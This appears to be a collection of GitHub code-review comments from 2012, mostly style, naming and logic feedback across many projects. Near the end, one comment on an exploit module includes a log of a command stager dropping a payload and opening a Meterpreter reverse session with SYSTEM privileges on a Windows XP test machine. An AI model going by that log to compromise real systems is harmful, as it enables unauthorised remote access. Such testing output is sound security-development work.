labofsahil/github-event-dataset-2012 huggingface dataset:
this line is not necessary since you just reassign the _anchor property on the next line.

do you ever use _anchor?  If not, you don't need that assignment either, and you can just return the result of getElementById() directly.

The pattern I've seen in other files (and that I don't actually like very much) is to have the getter delete itself and then replace itself with the result of getElementById(), so that that function is called lazily and only once.  I don't think it is worth using that pattern, though.
Vivien, this is a initialization on demand, I can not return just execute this code for the first time. I'm going to add a comment to clarify this.
Is 'i' now a global ?
delete this._notification;
I'm not sure, I simply noticed that it is a convention or something in the rest of the apps...
yep dead code.
ok, putting it back
Maybe we should put ('utf8', 'ignore') because if we got strange latin1 char, it will crash.
You are a slave driver =)
arguments() can't be used. When startup boosters (applauncherd and friends) are used, argv[0] will always be the name of the booster, not the name of the application. This results in every boosted application having the same name and thus sharing each other's notifications. (Yes, we had this bug in Harmattan already once...)
What for example I was imaginaning, would be some type of chain, like new OsmBugsLocalUtil(new OsmBugsRemoteUtil()) delegation, that in case
of internet availability would directly upload the bug, in other case, it will store it. Just think about it, I'm ok also with this solution, however, I think this way, it could be more user friendly, probably without having the setting at all (however, if someone wants to have everything offline first, than check, than upload, the setting is needed). Like, it will work regadless you are on, or off, and you don't have to change the settings.
Maybe use a shared helper that passes in the baseUrl instead of two separate ones.
Are you sure we still need this now that we're running createDocument delayed? Wasn't this just to catch IE9?
@jessicabarbalho, what if there's none or 1 question? It would show `0/1 perguntas`. Isn't this the case to use that translate `t` helper? We used it the apps portal [[use]](https://github.com/redu/apps/blob/front-end-app-show/app/views/apps/show.html.erb#L29) [[pt-br file]](https://github.com/redu/apps/blob/front-end-app-show/config/locales/pt-BR.yml#L24).
I'm afraid adding a system call for every incoming connection might add too much overhead for some high performance servers.
also:

(implicit mf : Manifest[T])

would be nice.
Ok, that's a very good idea, but it would require syncing up with the autotest class... We could open an issue to work on it post merge, maybe?
I think this should be something like:

if ((packageName.equals(expPkgName)) || (packageName.startsWith(expPkgName + "."))) {
Why a dict mapping s : s?  Should this just be a set? Or a list?
it's just my opinion here, if it gives readability i guess they will change standard without problem, i'm still -1 personally for the reason i gave before
if something is not filled it will show as N/A instead of a blank. but i think I didn't manage to do it yet since this is a Model and not a Hash...
Ha, yes
do we even need this method anymore? can we call @jenkins.target_url directly from the payload?
もしカスタムのAjax関数、また独自の[jQuery.ajax](http://api.jquery.com/jQuery.ajax/)APIがサポートしていないエンドポイントを使用する場合、これらを微調整する際には、`Backbone.ajax` プロパティ（デフォルトのBackbone.syncが格納されている）から設定することで行えます。
I was just following -- wrongly -- CRAN on this. However I believe that 
while simple measures won't stop hard core spammer, but they may still 
limit basic robots. If I get 5 spam less a day I am happy :)
Their might be ready to use services to do this though. I mean everybody 
has to face the issue. Some CMS have this feature, not sure how it 
works, nor if it is really efficient.

On 20/06/2012 15:40, hadley wickham wrote:
>> @@ -28,4 +28,8 @@ markdown<- function(x = NULL, path = NULL) {
>>
>>     (markdownToHTML(text = x, file = path,
>>       options = c("safelink", "use_xhtml", "smartypants")))
>> +}
>> +
>> +cloak_email<- function(x){
> I basically think it's pointless - if you want to make it hard to scrape email addresses do it properly (which is very hard).  Otherwise you just make it harder for the user of your site and no harder for the spammer.
>
> ---
> Reply to this email directly or view it on GitHub:
> https://github.com/hadley/staticdocs/pull/24/files#r1017601
(char *)geoipdata->country is not null terminated AFAIK
Use ````SpecHelper.adapter```` here instead of ````:ms_uia````.
$extension was not being used anywhere. This appears to be a legacy piece of code. If for some reason you want to make sure the extension is not part of the name it would be more robust to use something like 

     $info = new SplFileInfo($name);
     $ext = $info->getExtension();	
     $name = $info->getBasename(".{$ext}");
Please use "True" or "False" for truth values. Also, this line can be written "any([c in str for c in set])"
Why we need it? Could you please write there documentation for it? thanks
You should be comparing this to hiddenWindow.document
You don't really explain what Loader does with the return value from the resolve function, nor when the resolve function is called vs. just using paths. Maybe something like this:

When this option is provided and `require` is called the module id is passed to the provided `resolve` function, the return value should be a new string id to use with normal path resolution.
Looks like you meant: `return items[0] + items[1] + items[2]`
add a new line after this one in all files
If we dropped depends on rails and mongrel elsewhere, should we still require it in the test suite package?
What is this variable for? Just put the whole command in the following function call.
You're right! ithe order is not apropiate, i have to change it. 
Yes, It should raise an exception if add_user_to_group returns nil or false.  However, should i delete the user if add_user_to_group fails?

_ _inject_attribute_to_fog_model__ method is not very elegant but i couldn't find a better way of doing it. The issue is that user__is a fog model with a specific set of attributes that respond to __to_json__ method properly. Usually i'd just pass __user__ to __pretty_json_render__ but in this case the response has to contain an extra element: __group__ so i render it as JSON and parse it to turn it into a hash so i can add the __group__ attribute.
It's useful because the user knows what group has been added to, otherwise we would have to check the yml configuration file.
Cool. If the few changes to suite.js and the Suite.pending property make sense and are good, I think it would be straightforward to extend to the other interfaces.
Can do. To confirm - only remove the func_get_args() magic, but keep the ArrayUtils::iteratorToArray(), correct?
Couldn't these be static? No real reason to have them available in every instance.
So close! I suppose it should be: "indi**c**ating"
Inline string operations are much quicker than +

"lbl_#{Label.count(conditions: "suid LIKE 'lbl_%'") + 1}"
I'm surprised you don't have a helper for doing this. I think I would have a dictionary of controls (not necessarily the tags) that held the dialog, tag, and a pointer to the control class. It would save some verbosity, IMO.
2 things:

1) Do you mind changing this to the WebGL license?
2) this is the wrong place for this file. We only allow editing in sdk/tests/conformance so this needs to be
    sdk/tests/conformance/buffers/index-validation-large-buffer.html
well, then you should update your KnpZendCacheBundle to be compatible with beta4. forcing users to use beta1 with it is a bad idea IMO.
REALLY UGLY PART OF THE HACK
When I think about it. It would be better to pluralize the whole word, like in the jQuery app. Like if you later need to translate or something, and it looks better.
The thing that isn't superstition is that document.head is not guaranteed to exist.
I should actually collect and report pass/fails
this variable seems unused
@dbu: i have no clue .. but it starts failing on this line .. if i remove it .. then it fails on the next assertion.
the logic makes sense, but i would prefer the code to be more concise. this would do the same, right?:

    $targetPath = ('/' == $destPath) ? "/$destName" : "$destPath/$destName";
It's not a good idea to implement that as an extension of EzPublishUrlHandler. Instead, it should be a dedicated implementation of the base class, which receives a UrlHandler in its constructor and dispatches to this one internally, after removing the prefix / before adding it. This way, it is generic to be combined with other URL handling mechanisms we might need later on.

Since class names are here suffixed by their functionality, we should stick to that (=> PrefixedUrlHandler), but that's just cosmetics.
License is wrong written. See /usr/portage/licenses for available licenses (you should name here a file from this directory).
LICENSE="GPL-3+"
Your message to the list 'easybuild-admin' has been forwarded to the moderator(s)
Fixed, made consistent to "for (x, y) in"
ahhh, you've spotted a couple of my signature moves. I acknowledge that i'm contributing to your software project, so i'll change these if you insist
- i love the succinctness of the oneliner... IMO more readable than stopifnot and avoids 2 extra lines for 'boring' robustness code.
- re missing/is.null, my rule of  thumb is that parameters that must be specified have no default value, thus I use missing(), and args that are ok to be ignored are set to some default, say NULL, and these can be checked with is.null
JS block in the head? Hmmm.
Odd indent?
I get why this is here, but a docstring would still be nice.

That said, instead of forcing the code to supply an argument that says "update this point", why not do it automagically? Compare the current data and arguments (fields) passed to the model and determine if you should update the point if things have changed.

Bonus: then you could do it as a `pre_save` signal, which is just more the Django way. I think _that's_ what I had planned when we talked but I forgot about it.
Ah crap, you're absolutely right. I missed the re-assignment of `type`
I'm not sure why this is here... how prevalent is it in the repo? maybe we should file a ticket to remove it?
Please get rid of those printfs. They could be changed to level 4 log messages, or be fully deleted if they don't give much information. Aren't they practically always the same? could somebody use that info to easily try decoding outside of liquidsoap?
we load the tasks it if the SingleTest is available and that happens only in test env
don’t use `Any` in Java-facing signatures, Paul warned that there is pain lurking on that path
I was merely pointing out a few issues with this kind of convenience. Please save your snarky comments for your blog, even if it _is_ Friday.
Thanks for heads up.
The "type" and "version" fields should not be required, as we should inherit the dependency definition from the "modeshape-parent" POM. (Notice that the parent POM only defines the "dependenciesManagement" section, which defines the version, scope, etc., and the "modeshape-jcr" should declare usage of that dependency by just specifying the "groupId" and "artifactId". (See also the line note below.)
you probably want to swap the puts e puts e.backtrace with a raise e to rethrow the error up the stack..
Can you please follow symfony 1.x convention :)

to have common convention of space as you can see here https://github.com/madesst/sfMelodyPlugin/blob/4545dedf5e5e6235c8161fe9783a12e785d96fb6/lib/user/sfMelodyUserFactory.class.php

it's not very beautiful :s
I simply prefer grouping my use statements by sub namespace.
не нужно хранить параллельные массивы
мне кажется тут нужно его применить
Shiiit, my fault. I had CONFIG += sql, not QT += sql.
This won't work if package.json contains something like:
"scripts": {
   "start":  "supervisor"
},

or even the key-value on different lines.
> I can relate to the functions idea, but I don't think anything is wrong here.

It's quite confusing to read (not claiming that other paparazzi code is much better, but that is no reason to add more confusing code ;-)
So if you need all this, a separate functions would be much appreciated.

And at least the first q_yaw_sp calculation is useless as it is set again depending on float/int two lines later...

> As I explained on skype, that will cause the a/c to roll (around the earth axis) when pitched 90 degrees and trying to yaw. For quadcopters this might be desired, for a transitioning vehicle it is definitely not. I do not think it is possible to unite applying pitch and roll to current yaw on the one hand and earth bound setpoint on the other hand.

As long as the earth bound sp is only used for transitioning vehicles it is probably ok then...

>> And now you actually apply the yaw command when you are not in_flight as well... at least for quads this is not desired.
>
>I in fact do not, I only apply the pitch and roll to the actual yaw. No yaw is applied when not in flight.

Jep, sorry...
In general it's good to add a comment to which #if the #else and #endif belong to if they are so far apart...
Should be updated to encompass the new regexp operator.
Is there a :user factory?
In that case I'll make the change.
I find JSON.parse can toss frustratingly unhelpful exceptions. Would be cool to have RestUtil.parseJSON(...), which will catch and compliment the information with what the full response was.

Bonus points if you can wrap up a utility that includes the HTTP request / response and dumps header info. could just be:

RestUtil.parseJSONResponse(json, optionalReq, optionalRes);
This logic to lazily-refresh the memberships I think needs to go in its own method, something like `explodeGroupMembershipsIfNecessary`. It will need to be used by `getPrincipalMemberships`.
I'm assuming an error object is returned in case there was an error for both this function and the one below ?
Yes. And, to make it even less verbose, maybe you could have a ``DebugEvent => Unit`` to ``IDebugEventListener``
methods with 'and' are a smell - methods should have one responsibility.
Can you remove the spaces between code and brackets please.

    if ($id && ! $class)
Мутируете только одну клетку. Учитывать при оценке не буду.
Дело в том, что, т.к. Gene это класс, то в массиве лежат указатели на объекты этого класса.
Когда массив копируется, то копируется его содержимое, т.е. в данном случае указатели. Но указывают они на те же самые объекты.
Получается что-то вроде
Gene* a = [Gene alloc] init];
Gene* b = a; // копирование указателя, а и b указывают на один и тот же объект
[a print]; // A
[b mutate]; // вызов mutate у объекта, на который указывают a и b
[a print]; // G
по заданию x - это количество процентов мутаций. почему вы с одной стороны выносите размер массива в декларацию N_CHARS, подразумевая тем самым что это значение легко поменять, а с другой стороны не пересчитываете процент мутаций в количесто мутаций?
I wonder if we could use one collection of params for both the terms URL and the courses URL for the sake of simplicity.  I guess i imagine that were both URLs need the same param, they would use the same value (e.g. 'user.login.id').  No biggie -- something to ponder for the next round.
вдруг и пользователь и модератор одновременно

да и мы посчитали что has_and_belongs_to_many тут не надо
Explain that user is the "scope" and that there are other scopes available as well.
`received`
Well, yes, but it's about semantics. By declaring it a `BOOL` you're saying it's either a `YES` or a `NO`. That `YES` might be non-zero or one but it's still `YES`.
Since `-selectMany:` is now `-flattenMap:`, I wonder if this should be something like `-flattenMapReplace:`?
Vies vies vies. Er zal wel een reden voor zijn dat hier toch nog globals worden gebruikt? Eventueel wat info bijzetten.
how about renaming N by order? it's more explicit...
maybe None is better as it will break after which is good as certainly something went wrong before.
leave it as it is.
projs to be consistent with info['projs']
as you want but maybe plot_connectivity_circle then :)
change the sentence to: "Returns a list of the jobs announced on jobs.ps. If a filter is passed, returns only results matching that filter"
this step is not needed because the request module takes care of that for you so you can use body directly.
Hahahahaha, you cannot be blind. :)
It was part of the existing code which i did not modify. That is why it is not in the pull request.
I know we've been using `fromJust` for these "force" evaluations, but may be worth using `maybe` and `fail` instead?
Hi Pablo!

The first one is missing, but I think the second one should not be there - since this section is for "custom save handlers" and the previous section is about native session handlers (which `NativeFileSessionHandler` is). What do you think?

Thanks!
You should be checking the file system and never using the CopyOnWriteArrayList. I think. The existsAndUpToDate() function should look at the filesystem to determine whether the file exists on the file system and is up to date. getMTime() should look at the mtime of a file on the filesystem.
The patterns come in with backslashes on Windows, so we need to split on those.
Isn't this supposed to be if(order.getDrug() == null)
Ну пробелы же перед открывающиси скобками, ну. И там ниже тоже.
Я бы не писал `Error: `, а сразу ошибку бы писал, тем более, что они у тебя все равно все с большой буквы.
What's the best way to try out the latest in this branch using Pkg?  I have
been using `curl [url of patch]; git am`, but I am curious how others are
doing it.


On Mon, Nov 26, 2012 at 8:28 PM, John Myles White
<notifications@github.com>wrote:

> In src/read.jl:
>
> > +  end
> > +
> > +  # Count the number of lines we've read
> > +  i = nrows
> > +
> > +  # Iterate over lines
> > +  # If any entries violate type expectations, loosen them
> > +  # Don't change type inference for missing fields
> > +  for line in each_line(f)
> > +    i += 1
> > +    if i >= Inf # Used to be 100. Changed to insure that all files are correctly
> > +      break
> > +    end
> > +    fields = split_delimited_line(chomp(line), delimiter, quotation_symbol)
> > +    for j in 1:ncols
> > +      if !contains(missingness_indicators, fields[j])
>
> Good idea. Changed.
>
> —
> Reply to this email directly or view it on GitHub<https://github.com/HarlanH/DataFrames.jl/pull/73/files#r2231136>.
>
>
pep8: Don't use spaces around the = sign when used to indicate a keyword argument or a default parameter value.
You can use your factory here. `subject = FactoryGirl.build(:story, :url => 'url.com')`
@return Response ....
Sure. I've created a new issue for it, #1481
You want to see your translations taking over the default ones from active admin. Doesn't this prepend active admin default locale to the load path hence give them priority?
Accident, I'll be sure to fix this.
Is it?  I always tend to favor single quotes everywhere but thats based on my laziness not pragmatism. :-)
You mean the entire `CancellationServiceFactory` is unnecessary?  Just add `CancellationService.class` to the `EmptyConstructorNamedCacheFactory`'s `DefaultFactoryFor` annotation.
Version 1.2 changes slightly the incoming protocol, so I think it would have been interesting to add a separate class to handle the different behaivour, but since the changes are rather small, I'm not too fuzzed about it.
Why not static as well?
The text doesn't imply that the configuration is only relevant for clustered caches, but for all non-tx caches (first sentence).
The second sentence describes the performance penalty encountered for clustered caches. I'll add some wording to clarify that  this is still in the scope of non-tx caches - I think that's self implied though.
re: keeping this option or not: we need it for two reasons 
- compatibility, as there are users out there that already use this behaviour
- performance: if you don't have concurrent writes then disabling this feature would increase performance
I might be missing something, but where is the `headers` dict defined here?
Eh, not really. The getter lazily inits so `if (self.configuration != nil) {` will aways be the case. Once inside I'd rather use the property.
Might be worth mentioning here our desire to mostly have relevant test module names (e.g. ```test_collections.py``` would test features written in the ```collections.py``` module).
If you want to catch both, then do ```except (IndexError, ValueError):```.  There is a difference between ```except:``` and ```except Exception:```.  See here: http://docs.python.org/2/howto/doanddont.html#except
I think the way @NelleV has done it here is fine. The fact these operators are English words means they feel like phrases. Breaking after a `for` or `if` would disrupt the natural flow.

At the end of the day it doesn't __really__ matter, as long as it's consistent.
Почему ?
especially in the name feel free to use the full name
Good point, and I like the idea of having short method names like js(), css(), style()!
the indentation is wrong here, must be 4 extra spaces, not 8
it's the french translate...
`EJS` isn't needed on client-side anymore :D
Coding style, could you remove {} for one-line commands in loops/if ?
separate lines and doxygen comments for these variables
Because "Add groups" makes no sense, and it seemed to be the only way to make the button name logical was to use the table name.
I read this file and it can be $orm, but  why not remove $doctrine and have this:
$orm = $application->getBootstrap()->getResource('container')->getService('em');
How does this pipe operator work?  The first clause returns a relation, the second an array.  What's the ruby reason that those get combined?
can this be written more cleanly using the `:first-child` selector?

```javascript
$('.block-grid>li').css('clear', 'none');
$('.block-grid>li:visible:first-child').css('clear', 'left');
```

http://api.jquery.com/first-child-selector/
I asked in #phpbb-dev to use arrays or objects and igorw said arrays.

Ok
They are supported, I just got in the habit of only using plurals somehow and I didn't immediately see the problem with the calculation so I changed them just-in-case.  The part that actually makes a difference there is:

-     'annotation_calculation' => 'count',
+    'calculation' => 'count'
Are you sure ``array('getValue')`` has the correct type as "array<integer,string>" is not a sub-type of "array|null"?
There shouldn't be a dependency between this and Symfony I think. Airbrake\Connection->send should raise an exception and the handling should be done in work4us
I went back and forth on that. It doesn't really hurt anything since it just means one connection from the pool gets closed, and the code is cleaner this way. The other consideration is that in the end that "bad message code" IOException gets wrapped in a RetrierFailedException way up the stack which in a non-cluster client is going to mean "punt" to most people. That being said, I can move the variable declarations outside the try block and only wrap the InputStream ops
thanks  eddieajau ,
Corrected all mistakes and committed !
Hi I have made the following changes and pushed them to my fork

*in persitance.java*
We no longer need NEVER_FULL_RESET,I have removed it.
We need PREF_FULL_RESET_TIMEOUT to create getter and setter for this
preference
DEFAULT_FULL_RESET_TIMEOUT has been set to 3 seconds.

*in strings.xml*
** do you mean all strings ( line 254,255,256) must be same as "Full Reset
Timeout".I have made these changes.

Please comment on these changes


On Mon, Apr 16, 2012 at 8:54 AM, Jorge Silva <
reply@reply.github.com
> wrote:

> >       public static final int DEFAULT_SCAN_DELAY = 1000;
> >       public static final int MAX_SCAN_DELAY = 3000;
> >       public static final int MIN_SCAN_DELAY = 250;
> >       public static final int AUTOHIDE_NULL = -999;
> >       public static final int NEVER_AUTOHIDE = -1;
> > +     public static final int NEVER_FULL_RESET = -1;
>
> Is this used anymore? Should we remove it?
>
> ---
> Reply to this email directly or view it on GitHub:
> https://github.com/jorgesilva/TeclaAccess/pull/67/files#r686747
>



-- 
Vishesh Singhal
Electrical & Electronics
BITS-PILANI
I :heart: yardoc.
Also, you haven't specified the text encoding, which means it will use whatever the current platform feels like. Recommend explicitly specifying UTF-8.
this is the design bug of KnpMenu right? that we have to build the full tree upfront even if not all parts are needed?
add a cidr method instead?
No, you can have two classes. Panel, which defines general style of all panels.

Then we will probably have different columns for panels. And each column probably its own width. Or even dynamically allocated width.

But this is not important now. This is one other ticket to do. For now, just define something to work on user list.
Fixed all that was mentioned above. I thing everything is set for pull.
I would store last unsubscribe time, no?
So should I limit user objects with the same query as update query, without id=user.id condition?
I didn't say document, I said comment. Yes, that comment you linked to is sufficient - you'll have to forgive me, this diff is not easy to review.
why 10 yards spell range was 15 yards afaik
why use it anyways, spell doesn't cast if more then 15 yards away, i'd understand area condition
oh and thanks for the credit
I don't like this. It is confusing, especially as the part on which you should click is not the one giving the tooltip
Because an authentication adapter does not assume anything about identity value or credential value. It may be an adapter using the current OS user running the PHP process (for example)...
yes, you are right, will do merge
by doing this change you imply that calling arbiter.stop() will not join() the thread anymore. This is wrong, as we want stop() to stop the thread as well.

If stop() is called within the same thread it's normal it raises an error. the fix needs to be done in the tests themselves
This is not wrong.
But you can write more simply like this.

```scala
libraryDependencies <+= scalaVersion{ version =>
  if (version.startsWith("2.10"))
    "org.specs2" %% "specs2" % "1.13" % "test"
  else
    "org.specs2" %% "specs2" % "1.12.2" % "test"
}
```
Is that just a remark or does it block? :)
Since this was changed, might as well change to `var`.
Should this use `luaL_checkstring` instead?
No, its the right call. Thanks.
It wasn't intentional - just my first guess at how to implement it. Yours works fine - slightly darker, but still visible. Updated and force-pushed.
I changed this back to load the path in one go
I don't think this is necessary. Either check we didn't call with hess by default. (caller is internal not the user directly)
or drop completely, we don't warn for any other estimators whether gradient or hessian information is used.
выглядит жутко. ладно, потом разберемся когда-нибудь
![](http://rooosana.ps/store/10/12_10_01-18_14_14-v0O8@0.jpg)
Some users may not understand the picture, especially when the rest of the page is in English. I suggest you use [language-dependent styling](http://www.w3.org/International/tests/results/results-css-lang), or have entirely different versions of the page for each language rather than mixing them.
OK, will push something along these lines...
I think I agree, but would like to check with @gbernstein as the author of this piece of code!
There might be changes here with the currency node.
Interesting, I thought it was MethodPost by default based on the request object.
Ha, no, I should be more careful next time :) I'll add a commit to revert that.
Agree no-domain is cleaner.  Don't understand your /foo comment --> if /foo specified then ! exclusive and so returns 404 for others.

Root problem is where nginx is behind GeoDNS and we haven't specified a domain, we want it to act for all domains.  This only really matters because that is what GlobalWebFabric example does.
```js
for (var key in obj) result[key] = obj[key];
_.each(keys, function(key){ delete result[key]; })
```

Looking through the entire list of keys every time you copy a key over is non-optimal. The original was `O(n * m)`, this is `O(n + m)`.
this seems like it could be left out entirely
If I have saved_searches/*name*/schedule, then schedule is a method on *name*. What would I call a function that sends a request to that method and returns the content?
yes .. i keep doing that .. do we have a helper yet for this?
habib: is this ok for you?
why such Mock class in the code ? Use PHPUnit mocks for testing
Sorry this should be: 

    if ($x >= $y)
i know :(
> Should this be bracketed more?

No, looks fine to me.

> And should parseInt have it's base set when it's used?
> Also, should we be using browser detection scripts at all or rely on feature detection?

Should be in a separate pull request from the formatting. It's not good to change the formatting and the logic at once.
missed ```should```

I am surprised I did not upgrade rspec here.
По умолчанию boolean инициализируется false.
Из-за этого флага нельзя параллельно прокси вызывать.
That sounds good, I think it would be good if u added comment for that.
Is `allTargets()` the right name if it's only getting the window targets and not the tab targets?
it doesn't seem to support chrome either yet.
This page has a page title, can you populate this variable?
haha, this is the first thing that was broken on the new playdoh app. I wasn't really sure of it's purpose.
Thanks.
I'll put up the language files to Transifex to start translating.
Cheers!
if you move the `render` lower you can re-use the form from the POST.
Is it reproducible?
The ``v.rvs()`` doesn't use ``rnd`` or ``check_random_state``.
I am not sure why but we usually use "assert_true". Can any one comment on that?
Can you add a separate section for the new estimator?
I think `p` should be renamed to something more explicit such as `preference` or `preferences`.
picking nits: can we not use the //*****************// style blocks? I don't really like the visual noise.
FYI, if CommonAttributes.ISOLATION uses EnumValidator as its validator, this try/catch block can be reduced to:

CommonAttributes.ISOLATION.parseAndSetParameter(value, locking, reader);
Why is this sleep nessesary?
Please use four space indentation (conforming to http://www.python.org/dev/peps/pep-0008/)
The case where both offset and length are omitted is handled by the first part of the if. This case deals with only one of them specified, which is not allowed according to the docs so an exception is thrown.
The docs say we should throw a runtime error
"A file containing the provider description or a string literal starting with '@' such as '@ec2-us-east-1'."
Remove this as well? Along with the other commented logger calls.
one of these square brackets is mirrored in the wrong direction.
Should this be _Mods rather than -mods?
I'd say ignore would be preferable
Looks a _lot_ better than old implementation of promoteSuperFiles, a lot more readable/maintainable now.
Do you want to include this in `hudson/plugins/mercurial/MercurialTagAction/index.jelly`? Not necessary, of course, but might be desirable.
I think that dialect does not matter there. Please remove it.
Use `#find` instead of select if you just want one.
Ouais mais pas facile de mettre un tâche dans le wiki du suivi du boulot.
Du coup pourquoi pas une issue ?

Si tu as le temps, fais-le sinon je le ferais dès que possible.

Cheers
I see. Thanks for your comments! Then which is better?

1. Call `#instance_variable_{set,get} @module_name` from `Type.module_name` instead of `#module_name=`
2. Put `Type.module_name` code back into `Module`
3. Or else? (Better design suggestion is greatly appreciated!)
He-he.  Yeah, it can be django-mongo-stashboard?  Is that clear enough.  :smile:
What about having "0.2.x"
Do we need to be so strict with packman?
This isn't necessarily the case, what if I had `col = tables.TemplateColumn(template_code="")`. Perhaps the error should just say, "a template must be provided"
Push down
return pass or fail
@shacker Can we use the right param syntax here?

something like

```
@param {object} courseData Course list from canvast
@param {object} data Assignment list from Canvas
```
@yuhunglin bang, bang you're boolean!
@shacker can we avoid the `img.` in front here and above?
Just use `.cc-page-preferences-service-logo` instead. This also makes it consistent with everything else.
Good catch on the invalidation!
Oops, leftover, will do.
Ah, ok. You see a difference between function argument types vs. return types. I think it depends. In general for me the function arguments and the return type both belong to the public interface of the method. And programming against interfaces is seen as good practice.
For example if a function could return the concrete type List I would choose IList or IEnumerable. The latter would be even more refactoring friendlier: you could change the implementation type from List to Hashset and the method user would not have to change his/her code (I had this particular case some days ago).

Plus: what is the "highest" type? In the mentionend GetUntrackedFiles() calling .ToList() just before returning seems quite arbitrary. There are other methods like .ToArray() or .ToDictionary() which could also be seen as "higher" type than IEnumerable.
In my case, when deleting this line, the exploit still works, and the payload dropped to the temp dir, maybe the FOLDER variable isn't needed? (Testing on windows xp sp);

<pre>
[*] Command Stager progress -  98.33% done (103738/105503 bytes)
[*] Command Stager progress -  98.75% done (104187/105503 bytes)
[*] Command Stager progress -  99.20% done (104663/105503 bytes)
[*] Command Stager progress -  99.66% done (105145/105503 bytes)
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Command Stager progress - 100.00% done (105503/105503 bytes)
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1441) at 2012-12-22 08:50:44 +0100

meterpreter > pwd
C:\surgeftp
meterpreter > cd %TEMP%
meterpreter > ls

Listing: C:\WINDOWS\TEMP
========================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2012-12-22 08:50:43 +0100  .
40777/rwxrwxrwx   0      dir   2012-12-22 08:50:43 +0100  ..
100666/rw-rw-rw-  16384  fil   2012-12-16 15:44:35 +0100  Perflib_Perfdata_1e0.dat
100666/rw-rw-rw-  16384  fil   2012-12-18 11:56:32 +0100  Perflib_Perfdata_34c.dat
100666/rw-rw-rw-  16384  fil   2012-12-16 16:05:54 +0100  Perflib_Perfdata_e64.dat
100666/rw-rw-rw-  1024   fil   2012-12-18 11:55:57 +0100  spnserv.dat
100666/rw-rw-rw-  1024   fil   2012-12-18 11:55:57 +0100  spserv.dat
40777/rwxrwxrwx   0      dir   2012-12-16 19:31:46 +0100  vmware-SYSTEM
100777/rwxrwxrwx  73802  fil   2012-12-22 08:50:43 +0100  zKuBc.exe <===

meterpreter > ps -S zKu
Filtering on process name...

Process List
============

 PID   PPID  Name       Arch  Session  User                 Path
 ---   ----  ----       ----  -------  ----                 ----
 2996  3120  zKuBc.exe  x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\TEMP\zKuBc.exe

</pre>
major_version is a string, and is being compared with a Fixnum, it's not going to be true never.
This is fixed.  Your code worked with very little editing.  It's like you don't even see the code, you just see Blonde, Brunet, Red Head... ;)
I didn't see a need for it to be non-private.
shouldn't this be if not elif? It seems to me under this current behavior, if you check vouched, it doesn't matter what you check for photo.
No problem, you know this ain't my first rodeo. ;p
I think I know what's going on - the Document and Artwork item type
don't have a publicationTitle field - hence that doesn't import into
Zotero. Isn't there some recently implemented code (in the test
suite?) that filters out non-existent fields? That would seem to be at
work here. I'm pretty sure we're good then. (although importing some
of the examples at
http://www.loc.gov/standards/mods/mods-guidance.html it looks like we
need to do a better job with item types - a chapter gets imported as a
document, a conference paper as a book etc.).

On Fri, Mar 9, 2012 at 1:54 PM, Aurimas Vinckevicius
<reply@reply.github.com>
wrote:
>> @@ -888,26 +892,24 @@ var testCases = [
>>                               ],
>>                               "seeAlso": [],
>>                               "attachments": [],
>> -                             "title": "FranUlmer.com -- Home Page",
>> -                             "publicationTitle": "Election 2002 Web Archive",
>
> Yes, you're right. Those fields are not actually imported.
>
> Could you confirm that this was working as intended to start with?
>
> On my end, the current MODS translator in the master branch also fails to import all those fields, but maybe it's just my setup that's weird.
>
> ---
> Reply to this email directly or view it on GitHub:
> https://github.com/zotero/translators/pull/184/files#r541079



-- 
------
Sebastian Karcher
Ph.D. Candidate
Department of Political Science
Northwestern University
please remove the leading underscore.
Might as well use `defineProperty` to make it readonly.  Who cares if it is slow to access; no one is going to call it - perhaps ever except for authoring tools like Sandcastle.
I may get accused of being picky here, but this test should use 6 different images and check the color of each side of the resulting cube map to make sure it matches the corresponding image.  This is a good example of a test that covers all of the code, but doesn't test all of it.
At one point one of the terrain providers used these parameters, see 9fc98317ec2146e3cecf4852cfb4238a2a6ff073.  @kring would know better than me whether they're needed in the long run.
Same two comments as DeveloperError.
I thought I had totally forgotten C, but I haven't:)

Anyway, I will fix it.
鼠标敏感度也是一种输入设定
line breaks + elsewhere in file
this condition is already met with 'if(lastObject) else'
Note that `AudioStreamerBC` can be removed (see [TIMOB-9088](https://jira.appcelerator.org/browse/TIMOB-9088) and the comments at the top of `AudioStreamer.h`). This doesn't have to become part of this pull request but would be a nice bonus.
I have a feeling that -o should be its own argument in case the .dart file has spaces in it. Of course, this could just be silliness talking.

Also why are you using string interpolation for "${attributes['src']}"?
"My understanding is that we're not going to redistribute this library." doesn't jive well with the *sixty-three* forks of this repo. While I'm sure most of them are dead, I'd still say that's pretty well distributed.
Note that this doesn't need to be conditional - It will just do nothing if 'public/assets' isn't cached.
Nice catch. If you want LLVM to cooperate together with ACML in a toolchain, yes, there's no way around that.

You could change things, e.g. provide in every compiler module something like `acml_interface` or something, but that may get messy pretty quickly.

Can you open an issue for this, so we can look into whether this is feasible? We should figure out which other toolchain modules have compiler-specific stuff in them, and how we could factor that out into the compiler modules.
what does this refer to?
Anyway, my view of the problem is differ from yours and I will eventually do pull request (it will be much easier for me than to discuss it here). So do not entertain my complaints.
I couldn't decide which it was supposed to be. It doesn't specifically resolve to either a value or a type, since a template isn't really either. I think that I ended up with camelCase, because the template that you get out of it resolves to a value, so _it_ would be camelCased if it were named. I'm fine with changing it. It's one of those situations where we don't have a clear rule on it.
Yeah I'm using that because the previous code, as updated by @9rnsr, uses a mixin. I'm fine either way, but it seems that a mixin is better, according to his comments.
avoids cuts --> cuts
No, not at all. I'm sorry, you got it backwards. The fact that it returns a template is not even important to the end user because the eponymous trick makes it all transparent. At the end of the day, any instantiation of Not whatsoever will produce a template.

If that's not enough of an argument, if we applied your approach to Phobos in general, a bazillion names would need to be suddenly uppercased. Look no further than https://github.com/D-Programming-Language/phobos/blob/master/std/algorithm.d#L367. Surprise, map "returns" a template! Of course, nobody cares, but by your algorithm we should rename it to Map.

Argument destroyed?
The naming convention for template names is: if it ultimately evaluates to a value -> lowercase. Otherwise -> uppercase. So this should be "not", not "Not".
Sorry, did not understand this comment. Current output:

typeid: immutable(immutable(int)[const(int)])
fullyQualifiedTypeName: immutable(int[const(int)])

Feels same to me, but typeid is a bit more redundant. Is this wrong?
It's not possible due to scope issues then. Changing scope to request isn't an option either.
file is still double licensed
I *believe* that bind variables don't become variables/fields themselves.  They become scalar values.
Note: this has been addressed by duplicating the mode selector on the EditForm side.
Let's use `respond_to?` instead of `is_a?`, since Ruby is duck typed.
CS..Missing spaces here?
remove this frequent output
